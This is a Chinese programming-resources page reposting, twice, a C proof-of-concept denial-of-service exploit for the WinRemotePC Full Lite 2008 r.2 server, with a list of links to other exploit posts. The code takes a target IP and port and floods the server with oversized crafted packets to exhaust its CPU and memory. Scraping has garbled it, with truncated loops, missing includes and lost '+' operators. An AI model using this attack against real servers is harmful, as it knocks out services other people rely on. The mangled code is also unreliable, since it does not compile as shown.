您现在的位置是：网站首页> 编程资料编程资料
WinRemotePC Full Lite 2008 r.2server Denial of Service Exploit _Exploit_网络安全_
2023-05-24
380人已围观
简介 WinRemotePC Full Lite 2008 r.2server Denial of Service Exploit _Exploit_网络安全_
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define size 30000
#define tests 35
/*
****WinRemotePC Full Lite 2008 r.2server DOS(memory cpu consumption) vulnerability poc****
A vulnerability exists in WinRemotePC Full Lite 2008 r.2 server in the way it handles recieved packets because it
fails to properly process/sanitize arbitrarily lengths and/or invalid packets.The vulnerability occurs both before and
after login.When confrunted with such packets the server starts consuming full cpu and memory and sometims leads to
immediate crash.Although i couldn't find a packet pattern for immediate crash or exploitation the DOS is certain through
cpu memory consumption.If one of the memory or cpu events did not occur reruning the poc might fix that :D
Usage: ./dos [ip] [port]
WinRemotePC: http://www.winsoftmagic.com/winremotepc.html
Discovey POC by Shinnok raydenxy [at] yahoo dot com
*/
/*The first packet sent by the client to the server when initiating a connection split between the "Service Pack n" string which will be replaced with the variable length long strings of A's.Although the server is vulnerable to this kind of dos without requiring to shoot out a partially valid packet it is more reliable for dos this way :)*/
char p1[]="\x00\x00\x00\x00\xa7\x01\x00\x00\xa7\x01\x00\x00\x00\xff\x00\x00\xe4\x2e\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x8f\x41\x82\x7b\x38\xb1\xe4\x4e\x9b\x92\xf5\xc0\xe5\xf9\xb9\xd2\x01\x01\x00\x00\x20\x00\x00\x00\x22\xf4\xc7\x1f\xf6\x9a\x5e\x77\x1b\x42\x73\x70\x42\xda\xf0\xd1\x70\x59\xf8\xf7\x81\xb7\x97\x0a\x11\xf2\x4c\x0c\x3a\xbd\x56\xb9\x20\x00\x00\x00\xa1\xeb\x78\xe2\xbe\xeb\xb7\x3a\x33\x8c\xf4\x1f\xbd\xbe\x21\x9e\xf8\x6b\x20\x2d\x0f\x1d\x4b\x3e\x2d\x55\x5e\x45\xf6\x8a\xed\x4d\x5f\x00\x00\x00\xe8\x7c\x1a\x56\xd0\xa6\xf8\xef\x09\xea\xb6\xc8\x53\xe2\xc9\xc9\xcd\x86\x0b\xa3\x55\x90\xe6\x4c\x97\xb6\x38\x4b\xbc\x5f\xa4\x29\xa9\x2d\x1c\xa1\xa1\x7b\x1a\xbf\x97\x1a\x88\x55\x1d\x7e\xa4\x2e\x43\xf7\x57\xd6\x21\x1e\x9e\xa0\x6f\x4a\xd0\x38\xfa\xe9\x9a\x50\x8f\xd0\x43\x88\x9f\xc8\xb5\x6f\x09\x1a\xcf\x92\x74\x41\x6b\x87\xe1\xef\xbc\xe3\xf0\x99\x09\xb6\x8d\x85\x0b\x2e\xd3\x3b\x2e\x94\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x28\x0a\x00\x00\x02\x00\x00\x00";
char p2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2a\x00\x00\x00\x30\x31\x2d\x30\x30\x2d\x36\x46\x32\x45\x30\x31\x37\x30\x2d\x31\x45\x45\x38\x2d\x34\x34\x33\x36\x2d\x41\x35\x36\x44\x2d\x30\x44\x35\x33\x39\x38\x39\x36\x46\x30\x31\x35\x02\x00\x00\x00\x30\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x18\x00\x00\x00\x00\xff\x00\x00\xc4\x13\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";
/*All kinds of A sizes to ensure the dos,starting with big ones at first to ensure that memory consumption occurs first and then dealing with the cpu issue.*/
int sizes[]={30000,29000,30000,127,128,255,256,511,512,1023,1024,2047,2048,3000,4000,5000,6000,7000,8000,9000,10000,11000,12000,13000,14000,15000,16000,17000,18000,19000,20000,21000,22000,23000,24000};
int main(int argc, char* argv[]){
struct sockaddr_in server;
int s,i,f;
char req[size];
char* buff;
for(i=0;i
bzero(&server,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(argv[1]);
server.sin_port = htons(atoi(argv[2]));
for(i=0;i
s=socket(AF_INET,SOCK_STREAM,0);
if(connect(s,(struct sockaddr * ) &server,sizeof(struct sockaddr)) == -1) {
perror("Target blasted.\n");
return(EXIT_SUCCESS);
}
buff = malloc((sizeof(p1) sizeof(p2) sizes[i])-2);
memcpy(buff,p1,sizeof(p1)-1);
memcpy(buff sizeof(p1)-1,req,sizes[i]);
memcpy(buff sizeof(p1)-1 sizes[i],p2,sizeof(p2)-1);
write(s,buff,(sizeof(p1) sizeof(p2) sizes[i])-2);
close(s);
free(buff);
}
return(EXIT_SUCCESS);
}
#include
#include
#include
#include
#include
#include
#include
#include
#define size 30000
#define tests 35
/*
****WinRemotePC Full Lite 2008 r.2server DOS(memory cpu consumption) vulnerability poc****
A vulnerability exists in WinRemotePC Full Lite 2008 r.2 server in the way it handles recieved packets because it
fails to properly process/sanitize arbitrarily lengths and/or invalid packets.The vulnerability occurs both before and
after login.When confrunted with such packets the server starts consuming full cpu and memory and sometims leads to
immediate crash.Although i couldn't find a packet pattern for immediate crash or exploitation the DOS is certain through
cpu memory consumption.If one of the memory or cpu events did not occur reruning the poc might fix that :D
Usage: ./dos [ip] [port]
WinRemotePC: http://www.winsoftmagic.com/winremotepc.html
Discovey POC by Shinnok raydenxy [at] yahoo dot com
*/
/*The first packet sent by the client to the server when initiating a connection split between the "Service Pack n" string which will be replaced with the variable length long strings of A's.Although the server is vulnerable to this kind of dos without requiring to shoot out a partially valid packet it is more reliable for dos this way :)*/
char p1[]="\x00\x00\x00\x00\xa7\x01\x00\x00\xa7\x01\x00\x00\x00\xff\x00\x00\xe4\x2e\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x8f\x41\x82\x7b\x38\xb1\xe4\x4e\x9b\x92\xf5\xc0\xe5\xf9\xb9\xd2\x01\x01\x00\x00\x20\x00\x00\x00\x22\xf4\xc7\x1f\xf6\x9a\x5e\x77\x1b\x42\x73\x70\x42\xda\xf0\xd1\x70\x59\xf8\xf7\x81\xb7\x97\x0a\x11\xf2\x4c\x0c\x3a\xbd\x56\xb9\x20\x00\x00\x00\xa1\xeb\x78\xe2\xbe\xeb\xb7\x3a\x33\x8c\xf4\x1f\xbd\xbe\x21\x9e\xf8\x6b\x20\x2d\x0f\x1d\x4b\x3e\x2d\x55\x5e\x45\xf6\x8a\xed\x4d\x5f\x00\x00\x00\xe8\x7c\x1a\x56\xd0\xa6\xf8\xef\x09\xea\xb6\xc8\x53\xe2\xc9\xc9\xcd\x86\x0b\xa3\x55\x90\xe6\x4c\x97\xb6\x38\x4b\xbc\x5f\xa4\x29\xa9\x2d\x1c\xa1\xa1\x7b\x1a\xbf\x97\x1a\x88\x55\x1d\x7e\xa4\x2e\x43\xf7\x57\xd6\x21\x1e\x9e\xa0\x6f\x4a\xd0\x38\xfa\xe9\x9a\x50\x8f\xd0\x43\x88\x9f\xc8\xb5\x6f\x09\x1a\xcf\x92\x74\x41\x6b\x87\xe1\xef\xbc\xe3\xf0\x99\x09\xb6\x8d\x85\x0b\x2e\xd3\x3b\x2e\x94\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x28\x0a\x00\x00\x02\x00\x00\x00";
char p2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2a\x00\x00\x00\x30\x31\x2d\x30\x30\x2d\x36\x46\x32\x45\x30\x31\x37\x30\x2d\x31\x45\x45\x38\x2d\x34\x34\x33\x36\x2d\x41\x35\x36\x44\x2d\x30\x44\x35\x33\x39\x38\x39\x36\x46\x30\x31\x35\x02\x00\x00\x00\x30\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x18\x00\x00\x00\x00\xff\x00\x00\xc4\x13\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";
/*All kinds of A sizes to ensure the dos,starting with big ones at first to ensure that memory consumption occurs first and then dealing with the cpu issue.*/
int sizes[]={30000,29000,30000,127,128,255,256,511,512,1023,1024,2047,2048,3000,4000,5000,6000,7000,8000,9000,10000,11000,12000,13000,14000,15000,16000,17000,18000,19000,20000,21000,22000,23000,24000};
int main(int argc, char* argv[]){
struct sockaddr_in server;
int s,i,f;
char req[size];
char* buff;
for(i=0;i
bzero(&server,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(argv[1]);
server.sin_port = htons(atoi(argv[2]));
for(i=0;i
s=socket(AF_INET,SOCK_STREAM,0);
if(connect(s,(struct sockaddr * ) &server,sizeof(struct sockaddr)) == -1) {
perror("Target blasted.\n");
return(EXIT_SUCCESS);
}
buff = malloc((sizeof(p1) sizeof(p2) sizes[i])-2);
memcpy(buff,p1,sizeof(p1)-1);
memcpy(buff sizeof(p1)-1,req,sizes[i]);
memcpy(buff sizeof(p1)-1 sizes[i],p2,sizeof(p2)-1);
write(s,buff,(sizeof(p1) sizeof(p2) sizes[i])-2);
close(s);
free(buff);
}
return(EXIT_SUCCESS);
}
相关内容
- Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit _Exploit_网络安全_
- WinRemotePC Full Lite 2008 r.2server Denial of Service Exploit _Exploit_网络安全_
- AlstraSoft Article Manager Pro 1.6 Blind SQL Injection Exploit _Exploit_网络安全_
- PPMate PPMedia Class ActiveX Control Buffer Overflow PoC _Exploit_网络安全_
- 终端技巧 终端机常见绕过沙盘方法_Exploit_网络安全_
- Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit _Exploit_网络安全_
- File Store PRO 3.2 Multiple Blind SQL Injection Vulnerabilities _Exploit_网络安全_
- Wysi Wiki Wyg 1.0 (index.php c) Local File Inclusion Vulnerability _Exploit_网络安全_
- AlstraSoft Article Manager Pro 1.6 Blind SQL Injection Exploit _Exploit_网络安全_
- Facebook Newsroom CMS 0.5.0 Beta 1 Remote File Inclusion Vulnerability _Exploit_网络安全_
